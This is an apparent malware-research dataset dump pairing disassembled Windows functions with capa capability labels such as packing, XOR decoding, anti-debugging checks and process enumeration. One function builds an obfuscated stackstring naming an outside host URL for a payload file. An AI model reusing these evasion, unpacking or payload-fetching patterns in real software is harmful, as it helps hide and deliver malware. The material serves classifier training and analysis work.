joyce8/EMBER2024-capa huggingface dataset:
Function at 0x458e30
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57c0a5
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x48
push esi
push edi
push 0x27
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
push str.cU9jOZCIgPBRAGFLhEBdLR8gwJQE_YMBAe5PQY
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
call fcn.0042d600
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x3c]
push 0x13
xorps xmm0, xmm0
mov dword [ebp - 0x2c], 0
push str.Z0hPQZxQ8jLhMSZOw
movups xmmword [ebp - 0x3c], xmm0
mov dword [ebp - 0x28], 0
call fcn.0042d600
lea eax, [ebp - 0x18]
mov byte [ebp - 4], 1
push eax
push 0xf003f
push 0
sub esp, 0x18
mov dword [ebp - 0x14], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x24], 4
mov ecx, esp
mov esi, 3
push eax
call fcn.0042e9e0
lea ecx, [ebp - 0x1c]
call fcn.00445090
add esp, 0x18
push dword [eax]
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov edx, dword [ebp - 0x1c]
or edi, 0xffffffff
mov dword [ebp - 0x20], eax
add edx, 0xfffffff0
mov ecx, edi
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x458f1b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x458f7c
sub esp, 0x18
lea eax, [ebp - 0x3c]
mov ecx, esp
push eax
call fcn.0042e9e0
lea ecx, [ebp - 0x20]
call fcn.00445090
add esp, 0x18
lea ecx, [ebp - 0x24]
push ecx
lea ecx, [ebp - 0x14]
push ecx
push 0
push 0
push dword [eax]
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x1c], eax
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], edi
dec edi
test edi, edi
jg 0x458f6d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x1c]
push dword [ebp - 0x18]
test eax, eax
cmove esi, dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x28]
cmp ecx, 8
jb 0x458fb2
mov edx, dword [ebp - 0x3c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x458fa8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x458ffd
push ecx
push edx
call fcn.0054db34
add esp, 8
mov ecx, dword [ebp - 0x40]
cmp ecx, 8
jb 0x458fe8
mov edx, dword [ebp - 0x54]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x458fde
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x458ffd
push ecx
push edx
call fcn.0054db34
add esp, 8
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00552a0f
int3
Function at 0x4599a0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57d195
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x3c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov ebx, ecx
mov dword [ebp - 4], 0
mov byte [ebp - 4], 1
mov eax, dword [ebp + 8]
mov edi, dword [eax - 0xc]
test edi, edi
je 0x459bbe
mov ecx, dword [ebx]
cmp dword [ecx - 0xc], 0
je 0x459bbe
lea esi, [edi + 1]
test esi, esi
js 0x459b70
mov ecx, dword [eax - 8]
mov edx, 1
sub edx, dword [eax - 4]
sub ecx, esi
or ecx, edx
jge 0x459a10
push esi
lea ecx, [ebp + 8]
call fcn.0042f4e0
mov eax, dword [ebp + 8]
mov ecx, 0x5c
mov word [eax + edi*2], cx
mov eax, dword [ebp + 8]
cmp esi, dword [eax - 8]
jg 0x459b70
mov dword [eax - 0xc], esi
xor ecx, ecx
mov eax, dword [ebp + 8]
mov word [eax + esi*2], cx
lea ecx, [ebp + 8]
mov eax, dword [ebx]
push dword [eax - 0xc]
push eax
call fcn.0042dcc0
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x459a62
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
cmp esi, 0xb7
jne 0x459b7a
mov esi, dword [ebp + 8]
or eax, 0xffffffff
add esi, 0xfffffff0
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x459a7d
mov ecx, dword [esi]
push esi
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x80070057
call fcn.0042f560
push str.SkJRENAkwbNFUBJxVdsOCcyyQCUwEKGssKIzhYHLyY
lea ecx, [ebp - 0x18]
call fcn.0042f690
push esi
push ecx
lea eax, [ebp - 0x18]
mov byte [ebp - 4], 4
mov ecx, esp
push eax
call fcn.0042e9b0
lea ecx, [ebp - 0x14]
call fcn.00445470
add esp, 4
push eax
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 5
call fcn.00446790
push 0x5bf1bc
lea eax, [ebp - 0x38]
push eax
call fcn.0054fa3a
push str.UFlhZWTk3rFzg8DMAUG1IDgTwOD08eFTwiMKg
lea ecx, [ebp - 0x18]
call fcn.0042f690
push 2
push ecx
lea eax, [ebp - 0x18]
mov byte [ebp - 4], 2
mov ecx, esp
push eax
call fcn.0042e9b0
lea ecx, [ebp - 0x14]
call fcn.00445470
add esp, 4
push eax
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 3
call fcn.00446790
push 0x5bf1bc
lea eax, [ebp - 0x44]
push eax
call fcn.0054fa3a
int3
Function at 0x466a30
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57e445
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x248
push ebx
push esi
push edi
mov dword [ebp - 0x18], ecx
call fcn.0042efe0
mov ecx, eax
test ecx, ecx
je 0x466c07
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x14], eax
push str.Z0pF4eRIknLhcIkPSs
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], 0
call fcn.0042f250
test al, al
jne 0x466a95
push 0x13
push str.Z0pF4eRIknLhcIkPSs
lea ecx, [ebp - 0x14]
call fcn.0042f580
mov dword [ebp - 4], 1
call fcn.0042efe0
mov ecx, eax
test ecx, ecx
je 0x466c11
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x10], eax
push 0x594764
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 2
call fcn.0042f250
test al, al
jne 0x466ada
push 0
push 0x594764
lea ecx, [ebp - 0x10]
call fcn.0042f580
mov byte [ebp - 4], 3
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 0
push 2
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x466b5d
push 0x228
lea eax, [ebp - 0x24c]
mov dword [ebp - 0x250], 0x22c
push 0
push eax
call fcn.0054f8e0
add esp, 0xc
lea eax, [ebp - 0x250]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x466b56
mov ebx, dword [sym.imp.KERNEL32.dll_Process32NextW]
nop
cmp dword [ebp - 0x248], edi
je 0x466b48
lea eax, [ebp - 0x250]
push eax
push esi
call ebx
test eax, eax
jne 0x466b30
jmp 0x466b56
mov ecx, dword [ebp - 0x238]
lea edx, [ebp - 0x10]
call fcn.004668d0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 0x10]
cmp dword [esi - 0xc], 0
jne 0x466bb2
mov ebx, dword [ebp - 0x14]
push ecx
add ebx, 0xfffffff0
mov edi, esp
mov ecx, ebx
mov dword [ebp - 0x1c], edi
call fcn.0042e8d0
mov ecx, dword [ebp - 0x18]
add eax, 0x10
mov dword [edi], eax
call fcn.00445470
lea edx, [esi - 0x10]
add esp, 4
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x466ba3
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lock xadd dword [ebx + 0xc], esi
dec esi
test esi, esi
jg 0x466bf3
mov ecx, dword [ebx]
push ebx
jmp 0x466bee
lea edi, [esi - 0x10]
mov ecx, edi
call fcn.0042e8d0
mov ecx, dword [ebp - 0x18]
add eax, 0x10
or esi, 0xffffffff
mov dword [ecx], eax
mov eax, esi
lock xadd dword [edi + 0xc], eax
dec eax
test eax, eax
jg 0x466bdb
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x14]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x466bf3
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x18]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.0042f560
push 0x80004005
call fcn.0042f560
int3
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x407ef8
nop
mov ecx, 0x72c11847
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
nop
nop
mov ecx, 0x38b63232
nop
test eax, eax
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219

Function at 0x40102a
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
push ebx
push esi
push edi
push str._JAVA_LAUNCHER_DEBUG
call dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
xor ebx, ebx
pop ecx
test eax, eax
je 0x401078
push str.Windows_original_main_args:_n
call fcn.004010f9
mov edi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll___p___argc]
mov esi, ebx
pop ecx
call edi
cmp dword [eax], ebx
jle 0x401078
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll___p___argv]
mov eax, dword [eax]
push dword [eax + esi*4]
push esi
push str.wwwd_args__d____s_n
call fcn.004010f9
add esp, 0xc
inc esi
call edi
cmp esi, dword [eax]
jl 0x401058
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
call sub.jli.dll_JLI_CmdToArgs
call sub.jli.dll_JLI_GetStdArgc
mov edi, eax
lea ecx, [edi*4 + 4]
push ecx
call sub.jli.dll_JLI_MemAlloc
pop ecx
pop ecx
mov esi, eax
call sub.jli.dll_JLI_GetStdArgs
mov edx, ebx
test edi, edi
jle 0x4010b2
mov ecx, dword [eax + edx*8]
mov dword [esi + edx*4], ecx
inc edx
cmp edx, edi
jl 0x4010a7
mov ecx, dword [str.java]
mov dword [esi + edx*4], ebx
test ecx, ecx
jne 0x4010c1
mov ecx, dword [esi]
mov eax, dword [section..data]
test eax, eax
jne 0x4010cc
mov eax, dword [esi]
push ebx
push ebx
push ebx
push 1
push ecx
push eax
push 0x4021bc
push 0x4021c0
push 0x40300c
push 2
push 0x403004
push 2
push esi
push edi
call sub.jli.dll_JLI_Launch
add esp, 0x38
pop edi
pop esi
pop ebx
ret
Function at 0x40ad34
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42c470]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.004080ea
mov dword [ebp - 0x14], eax
cmp dword [0x2c88f34], esi
jne 0x40ae27
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40adb4
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40af07
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40af07
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40af07
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x2c88f34], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x2c88f38], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x2c88f3c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x2c88f44], eax
test eax, eax
je 0x40ae24
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x2c88f40], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40ae4c
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40ae3f
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40ae61
push 4
pop eax
jmp 0x40af09
cmp dword [ebp - 0x14], esi
je 0x40ae61
push dword [0x2c88f34]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40ae46
mov eax, dword [0x2c88f40]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40aebf
cmp dword [0x2c88f44], edi
je 0x40aebf
push eax
call ebx
push dword [0x2c88f44]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40aebf
test eax, eax
je 0x40aebf
call ecx
test eax, eax
je 0x40aeb4
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40aeb4
test byte [ebp - 8], 1
jne 0x40aebf
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40aeef
mov eax, dword [0x2c88f38]
cmp eax, edi
je 0x40aeec
push eax
call ebx
test eax, eax
je 0x40aeec
call eax
mov esi, eax
test esi, esi
je 0x40aeec
mov eax, dword [0x2c88f3c]
cmp eax, edi
je 0x40aeec
push eax
call ebx
test eax, eax
je 0x40aeec
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x2c88f34]
call ebx
test eax, eax
je 0x40af07
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40af09
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040400e
mov esp, ebp
pop ebp
ret
Function at 0x825cae
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cld
mov dl, 0x80
movsb byte es:[edi], byte [esi]
call fcn.00825d2d
jae 0x825cba
xor ecx, ecx
call fcn.00825d2d
jae 0x825ce4
xor eax, eax
call fcn.00825d2d
jae 0x825cf5
mov al, 0x10
call fcn.00825d2d
adc al, al
jae 0x825cd6
jne 0x825d22
stosb byte es:[edi], al
jmp 0x825cbb
call fcn.00825d39
dec ecx
loop 0x825d01
mov eax, ebp
call fcn.00825d37
jmp 0x825d23
lodsb al, byte [esi]
shr eax, 1
je 0x825d49
adc ecx, 2
mov ebp, eax
jmp 0x825d23
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
mov ebp, eax
call fcn.00825d37
cmp eax, 0x7d00
jae 0x825d21
cmp eax, 0x500
jae 0x825d22
cmp eax, 0x7f
ja 0x825d23
inc ecx
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x825cbb
pop ebp
ret 8
Function at 0x415e13
Capabilities:
Encode data using xor

Disassembly:
push ds
lcall 0xac, 0x972200bf
and al, 0x99

Function at 0x41a070
Capabilities:
Encode data using xor

Disassembly:
shl dword [edi + 0x7db54cb4], 1
inc esp
xchg esi, eax
fistp word [ebp - 0x53a9ea98]
jb 0x41a0fb
outsb dx, byte [esi]
adc byte [ebp + 0x7fe8ee68], dh
mov al, 0xd8
cmp byte [edx - 0x5d59c37f], 0x82
mov byte [0xfc8d1882], al
jl 0x41a076
adc eax, 0xbaaefe52
pop es
frstor dword [edi]
add cl, byte [eax]
test eax, 0xf56c4fac
sub ecx, edx
pop edi
cmp eax, 0xc2a56c58
mov ch, 0x6a
jl 0x41a0d3
push es
mov dword [ecx], ebp
aam 0x28
pop eax
mov al, 0xb8
fadd qword [esp + eax*4 + 0x6e]
cmp esp, dword [ecx + 0x57]
sub eax, 0xb6338fcf
insb byte es:[edi], dx
shr dword [edx + 0x57e52531], 0x15
lodsb al, byte [esi]
iretd
stosb byte es:[edi], al
xor dword [0xac1557e5], esp
push ebp
xchg esi, eax
push esi
loopne 0x41a0c2
out dx, al
sti
cmp bl, ah
jg 0x41a0c8
sub esi, ebp
jnp 0x41a13d
invalid
mov al, byte [0xb2f29f9e]
dec ebp
mov edi, 0x4256c1a8
int 0xe8
mov ah, 0x74
adc byte [ecx - 0x5c11acbc], bh
pushal
inc ebp
dec eax
movsb byte es:[edi], byte [esi]
inc ebx
xlatb
hlt
push edx
stc
push ecx
pushal
jns 0x41a1b9
sub ch, byte [eax + 0x27]
cmp eax, 0xd68cb23a
sbb byte [ebx + 0x3f84fbfb], 0xdb
clc
lodsd eax, dword [esi]
push ds
mov cl, 0x9b
xchg byte [edi + 0x5f48d7da], bh
jbe 0x41a196
push ebp
push esi
scasd eax, dword es:[edi]
ficomp word [ebp + 0x1963cb64]
invalid
ret 0xd1b
inc ecx
loope 0x41a17c
insd dword es:[edi], dx
movsb byte es:[edi], byte [esi]
fisub word [ebp + 0x182dd138]
cwde
inc ebx
je 0x41a1f3
insd dword es:[edi], dx
dec esi
add dl, byte [eax - 0x5a5a79da]
scasd eax, dword es:[edi]
out 0xca, al
inc edi
pop es
inc ebx
fisub word [eax + 0x2bc31670]
arpl word [ecx + 0x28], dx
retf
sub esp, dword [ebx + 0x51]
sub bl, cl
sub ecx, dword [ecx]
out dx, eax
invalid

Function at 0x41ad42
Capabilities:
Encode data using xor

Disassembly:
lodsd eax, dword [esi]
pop ebp
das
mul bh
inc ebx
mov dh, 0xb
adc al, byte [esi]
mov ebx, 0xdd80b639
insd dword es:[edi], dx
popal
cwde
invalid
add dword [ebp + 0xe], ecx
cmp edx, dword [edi - 0x52]
adc eax, 0x2c7ba400
jge 0x41adab
or al, 0x1f
pushfd
wait
dec eax
add al, 0x91
jo 0x41ad03
sbb eax, dword [ebx - 1]
wait
iretd
or byte [ebx + 0x45], ch
adc eax, 0xa9e2ceb9
aas
ljmp 0xc2e7
Function at 0x41b2c80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x2d79000]
push edi
jmp 0x41b2c9a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x41b2ca1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x41b2c90
mov eax, 1
add ebx, ebx
jne 0x41b2cb3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x41b2ca8
jne 0x41b2cc4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41b2ca8
xor ecx, ecx
sub eax, 3
jb 0x41b2cd8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41b2d4a
mov ebp, eax
add ebx, ebx
jne 0x41b2ce3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x41b2cf0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41b2d14
inc ecx
add ebx, ebx
jne 0x41b2d00
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41b2cf5
jne 0x41b2d11
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41b2cf5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41b2d34
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41b2d25
jmp 0x41b2c96
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41b2d34
add edi, ecx
jmp 0x41b2c96
pop esi
mov edi, esi
mov ecx, 0x4e
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41b2d52
cmp byte [edi], 1
jne 0x41b2d52
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41b2d57
lea edi, [esi + 0x3db0000]
mov eax, dword [edi]
or eax, eax
je 0x41b2dc6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x3dd32e0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x3dd3360]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41b2d84
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x3dd3368]
or eax, eax
je 0x41b2dc0
mov dword [ebx], eax
add ebx, 4
jmp 0x41b2da1
call dword [esi + 0x3dd3364]
mov ebp, dword [esi + 0x3dd336c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1df]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x41b2dfa
sub esp, 0xffffff80
jmp 0x40189b
Function at 0x4017b2
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebx
mov ebx, esp
push ecx
push ecx
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x438326
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x60
mov eax, dword [0x44c370]
xor eax, ebp
mov dword [ebp - 0x14], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea ecx, [ebp - 0x55]
call fcn.00401710
mov dword [ebp - 0x5c], eax
mov byte [ebp - 0x3c], 0x68
mov byte [ebp - 0x3b], 0x74
mov byte [ebp - 0x3a], 0x74
mov byte [ebp - 0x39], 0x70
mov byte [ebp - 0x38], 0x3a
mov byte [ebp - 0x37], 0x2f
mov byte [ebp - 0x36], 0x2f
mov byte [ebp - 0x35], 0x31
mov byte [ebp - 0x34], 0x31
mov byte [ebp - 0x33], 0x38
mov byte [ebp - 0x32], 0x2e
mov byte [ebp - 0x31], 0x31
mov byte [ebp - 0x30], 0x30
mov byte [ebp - 0x2f], 0x37
mov byte [ebp - 0x2e], 0x2e
mov byte [ebp - 0x2d], 0x34
mov byte [ebp - 0x2c], 0x33
mov byte [ebp - 0x2b], 0x2e
mov byte [ebp - 0x2a], 0x31
mov byte [ebp - 0x29], 0x33
mov byte [ebp - 0x28], 0x37
mov byte [ebp - 0x27], 0x3a
mov byte [ebp - 0x26], 0x37
mov byte [ebp - 0x25], 0x30
mov byte [ebp - 0x24], 0x32
mov byte [ebp - 0x23], 0x31
mov byte [ebp - 0x22], 0x2f
mov byte [ebp - 0x21], 0x74
mov byte [ebp - 0x20], 0x65
mov byte [ebp - 0x1f], 0x73
mov byte [ebp - 0x1e], 0x74
mov byte [ebp - 0x1d], 0x2e
mov byte [ebp - 0x1c], 0x64
mov byte [ebp - 0x1b], 0x61
mov byte [ebp - 0x1a], 0x74
mov byte [ebp - 0x19], 0
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x70]
call fcn.00405f03
mov ecx, dword [eax]
mov dword [ebp - 0x68], ecx
mov eax, dword [eax + 4]
mov dword [ebp - 0x64], eax
push dword [ebp - 0x5c]
push dword [ebp - 0x64]
push dword [ebp - 0x68]
lea ecx, [ebp - 0x54]
call fcn.00406967
and dword [ebp - 4], 0
lea ecx, [ebp - 0x54]
call fcn.0040ebf3
push eax
call fcn.00401e86
pop ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x54]
call fcn.0040780b
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0041bb9d
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x40c46a
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
jmp 0x40c47b
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0x10]
jae 0x40c49e
mov eax, dword [ebp + 0xc]
add eax, dword [ebp - 4]
movzx eax, byte [eax]
xor eax, dword [ebp + 8]
mov dword [ebp + 8], eax
imul eax, dword [ebp + 8], 0x1000193
mov dword [ebp + 8], eax
jmp 0x40c474
mov eax, dword [ebp + 8]
leave
ret

Function at 0x4107f8
Capabilities:
Check for peb ntglobalflag flag

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x68]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x70
jne 0x41081c
push 1
call fcn.0042319f
leave
ret